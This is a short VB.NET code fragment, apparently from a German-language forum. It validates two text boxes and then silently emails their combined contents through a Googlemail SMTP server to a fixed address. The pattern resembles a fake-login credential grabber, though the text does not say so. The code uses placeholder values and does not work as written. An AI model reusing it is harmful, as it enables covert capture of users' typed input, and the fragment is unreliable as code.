If TextBox1.Text & TextBox2.Text = "" Then
            MsgBox("Bitte geben Sie ihre was  ein", MsgBoxStyle.Critical, "Was" & _
              "eingeben!")
End If

 
 If TextBox1.Text & TextBox2.Text = IRGENDETWAS Then
        Timer1.Start()
        Dim smtpServer As New SmtpClient
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("ooglemail.com", "b")
        smtpServer.Port = 25
        smtpServer.Host = "smtp.googlemail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("g@g.de")
        mail.To.Add("g@g.de")
        mail.Subject = "Test"
        mail.Body = TextBox1.Text & TextBox2.Text
        smtpServer.Send(mail)
End If